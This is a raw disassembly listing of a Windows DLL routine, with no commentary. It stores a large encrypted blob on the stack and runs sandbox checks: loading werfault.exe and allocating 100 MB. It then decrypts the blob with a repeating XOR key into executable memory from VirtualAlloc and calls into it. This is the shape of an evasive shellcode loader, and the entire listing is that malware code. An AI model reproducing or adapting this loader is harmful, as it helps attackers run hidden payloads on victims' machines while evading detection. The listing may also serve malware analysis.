mov dword [rbp + 0x8e0], 0x4d645fd1
mov dword [rbp + 0x8e4], 0x352fbf68
mov dword [rbp + 0x8e8], 0x746e6339
mov dword [rbp + 0x8ec], 0x845e166b
mov dword [rbp + 0x8f0], 0xff155d9c
mov dword [rbp + 0x8f4], 0x4d5755b0
mov dword [rbp + 0x8f8], 0xbb1ffa36
mov dword [rbp + 0x8fc], 0x30efe770
mov dword [rbp + 0x900], 0xae6b416a
mov dword [rbp + 0x904], 0x441cbd37
mov dword [rbp + 0x908], 0x783db2ae
mov dword [rbp + 0x90c], 0x657e8226
mov dword [rbp + 0x910], 0x1f93032f
mov dword [rbp + 0x914], 0x105cf8d2
mov dword [rbp + 0x918], 0xcf3a866a
mov dword [rbp + 0x91c], 0x8ec9b26d
mov dword [rbp + 0x920], 0x7a91d81d
mov dword [rbp + 0x924], 0x46b2863
mov dword [rbp + 0x928], 0x8352e558
mov dword [rbp + 0x92c], 0xb2acc41c
mov dword [rbp + 0x930], 0x71111d97
mov dword [rbp + 0x934], 0xbedc00
mov dword [rbp + 0x938], 0x1a255767
mov dword [rbp + 0x93c], 0x7681d3ff
mov dword [rbp + 0x940], 0xc61e4d35
mov dword [rbp + 0x944], 0xb8496942
mov dword [rbp + 0x948], 0xe8512f33
mov dword [rbp + 0x94c], 0x6dbfca2a
mov dword [rbp + 0x950], 0x97ab9aea
mov dword [rbp + 0x954], 0x401ec02d
mov dword [rbp + 0x958], 0x2b3fbe61
mov dword [rbp + 0x95c], 0xbe12c0ef
mov dword [rbp + 0x960], 0xd4f9b51d
mov dword [rbp + 0x964], 0x357651
mov dword [rbp + 0x968], 0x5e4284d3
mov dword [rbp + 0x96c], 0x6a98d4da
mov dword [rbp + 0x970], 0x81ee2862
mov dword [rbp + 0x974], 0x99ea001f
mov dword [rbp + 0x978], 0x5a6cc18
mov dword [rbp + 0x97c], 0x9f83e3d0
mov dword [rbp + 0x980], 0xaac0c993
mov dword [rbp + 0x984], 0xdfa61fcd
mov dword [rbp + 0x988], 0x76f1dbff
mov dword [rbp + 0x98c], 0x8c1e4d35
mov dword [rbp + 0x990], 0x501972dc
mov dword [rbp + 0x994], 0xfc492bf7
mov dword [rbp + 0x998], 0xaebabe2a
mov dword [rbp + 0x99c], 0xcc197926
mov dword [rbp + 0x9a0], 0x5e304a1
mov dword [rbp + 0x9a4], 0xa03a7d29
mov dword [rbp + 0x9a8], 0xa8b38b2b
mov dword [rbp + 0x9ac], 0x9fd7781
mov dword [rbp + 0x9b0], 0x5f54579
mov dword [rbp + 0x9b4], 0x70fe89d7
mov dword [rbp + 0x9b8], 0x357d5351
mov dword [rbp + 0x9bc], 0x1c2a7623
mov dword [rbp + 0x9c0], 0xf3e792a
mov dword [rbp + 0x9c4], 0x81a61a0f
mov dword [rbp + 0x9c8], 0x1175c120
mov dword [rbp + 0x9cc], 0x74e32b31
mov dword [rbp + 0x9d0], 0x76064743
mov dword [rbp + 0x9d4], 0x1341b8f7
mov dword [rbp + 0x9d8], 0x6852c67d
mov dword [rbp + 0x9dc], 0x53517156
mov dword [rbp + 0x9e0], 0xa32a9bb7
mov dword [rbp + 0x9e4], 0xae27593b
mov dword [rbp + 0x9e8], 0xcc19412b
mov dword [rbp + 0x9ec], 0xcd257d24
mov dword [rbp + 0x9f0], 0xd7bd3ae9
mov dword [rbp + 0x9f4], 0x1667006a
mov dword [rbp + 0x9f8], 0xc352e5e
mov dword [rbp + 0x9fc], 0x71751518
mov dword [rbp + 0xa00], 0xfa7b9f65
mov dword [rbp + 0xa04], 0x1533a058
mov dword [rbp + 0xa08], 0xca290c66
mov dword [rbp + 0xa0c], 0x51e925f7
mov dword [rbp + 0xa10], 0x96e04754
mov dword [rbp + 0xa14], 0xbe619c1c
mov dword [rbp + 0xa18], 0xc122473d
mov dword [rbp + 0xa1c], 0x3115478f
mov dword [rbp + 0xa20], 0xf31484c3
mov dword [rbp + 0xa24], 0x57739e7
mov dword [rbp + 0xa28], 0x5b753dbd
mov dword [rbp + 0xa2c], 0x27b8e179
mov dword [rbp + 0xa30], 0xefaa40d5
mov dword [rbp + 0xa34], 0x266dd16c
mov dword [rbp + 0xa38], 0x8aeb4e19
mov dword [rbp + 0xa3c], 0x2be936c9
mov dword [rbp + 0xa40], 0xd42ec195
mov dword [rbp + 0xa44], 0xb3013fba
mov dword [rbp + 0xa48], 0x5521fb1c
mov dword [rbp + 0xa4c], 0xfa778465
mov dword [rbp + 0xa50], 0x6975732b
mov dword [rbp + 0xa54], 0xb52699a
mov dword [rbp + 0xa58], 0xdaee5373
mov dword [rbp + 0xa5c], 0x9656024b
mov dword [rbp + 0xa60], 0x7df14b21
mov dword [rbp + 0xa64], 0xf6e1cb4
mov dword [rbp + 0xa68], 0xc11954d9
mov dword [rbp + 0xa6c], 0xbd9015b7
mov dword [rbp + 0xa70], 0x95550938
mov dword [rbp + 0xa74], 0x53ae0ab6
mov dword [rbp + 0xa78], 0xa5238749
mov dword [rbp + 0xa7c], 0xe350526f
mov dword [rbp + 0xa80], 0x86ab5c15
lea rcx, str.werfault.exe
mov dword [rbp + 0xa84], 0x50227624
mov dword [rbp + 0xa88], 0x38d0e45b
mov dword [rbp + 0xa8c], 0x1698ff95
mov dword [rbp + 0xa90], 0x57507cda
mov dword [rbp + 0xa94], 0x8d363f98
mov dword [rbp + 0xa98], 0x7022fa59
mov dword [rbp + 0xa9c], 0x7676d810
mov dword [rbp + 0xaa0], 0xcaa32b2b
mov dword [rbp + 0xaa4], 0x5228b46f
mov dword [rbp + 0xaa8], 0x7e67ac94
mov dword [rbp + 0xaac], 0x69a200a8
mov dword [rbp + 0xab0], 0x8b22431d
mov dword [rbp + 0xab4], 0x76797313
mov dword [rbp + 0xab8], 0x294190f7
mov byte [rbp + 0xabc], 0xf6
call qword [sym.imp.ole32.dll_CoLoadLibrary]
xor ecx, ecx
test rax, rax
jne 0x180002f2e
lea rdx, str.nEgKEuYtS6Y
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0xbf8], rbx
mov edx, 0xb9d
mov r9d, 0x40
mov r8d, 0x3000
mov qword [rsp + 0xc00], rdi
mov qword [rsp + 0xbd0], r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0x5f5e100
mov rbx, rax
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov rdi, rax
test rax, rax
je 0x180002f8c
xor edx, edx
mov r8d, 0x5f5e100
mov rcx, rax
call fcn.1800032b0
mov rcx, rdi
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
lea r9, [rsp + 0x20]
lea r10, [rsp + 0x21]
mov qword [0x18002c3a0], rax
mov qword [0x18002c3a8], rax
mov qword [0x18002c3b0], rax
mov qword [0x18002c3b8], rax
mov qword [0x18002c3c0], rax
lea r8, [0x180022310]
lea r11, [rsp + 0x22]
mov qword [0x18002c3c8], rax
movabs rax, 0x15266e9e4
mov qword [0x18002c3a0], rsi
sub r9, rbx
sub r10, rbx
xor esi, esi
mov qword [0x18002c3b8], rax
mov qword [0x18002c3a8], r8
mov qword [0x18002c3b0], 0x26
mov qword [0x18002c3c0], 7
mov rdi, rbx
sub r11, rbx
mov r12d, 0x3df
nop word [rax + rax]
mov eax, 0x6bca1af3
add rdi, 3
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, esi
imul edx, edx, 0x26
sub eax, edx
movsxd rcx, eax
movzx eax, byte [rcx + r8]
lea r8d, [rsi + 2]
xor al, byte [r9 + rdi - 3]
lea ecx, [r8 - 1]
mov byte [rdi - 3], al
mov eax, 0x6bca1af3
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, esi
imul edx, edx, 0x26
sub eax, edx
inc eax
movsxd rcx, eax
mov rax, qword [0x18002c3a8]
movzx ecx, byte [rcx + rax]
mov eax, 0x6bca1af3
xor cl, byte [r10 + rdi - 3]
imul r8d
mov byte [rdi - 2], cl
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, esi
add esi, 3
imul edx, edx, 0x26
sub eax, edx
add eax, 2
movsxd rcx, eax
mov rax, qword [0x18002c3a8]
movzx ecx, byte [rcx + rax]
xor cl, byte [r11 + rdi - 3]
dec r12
mov byte [rdi - 1], cl
je 0x1800030ca
mov r8, qword [0x18002c3a8]
jmp 0x180003020
lea rcx, [0x18002c3a0]
call rbx
mov r12, qword [rsp + 0xbd0]
mov rdi, qword [rsp + 0xc00]
mov rbx, qword [rsp + 0xbf8]
mov eax, 1
mov rcx, qword [rbp + 0xac0]
xor rcx, rsp
call fcn.180003280
add rsp, 0xbd8
pop rsi
pop rbp
ret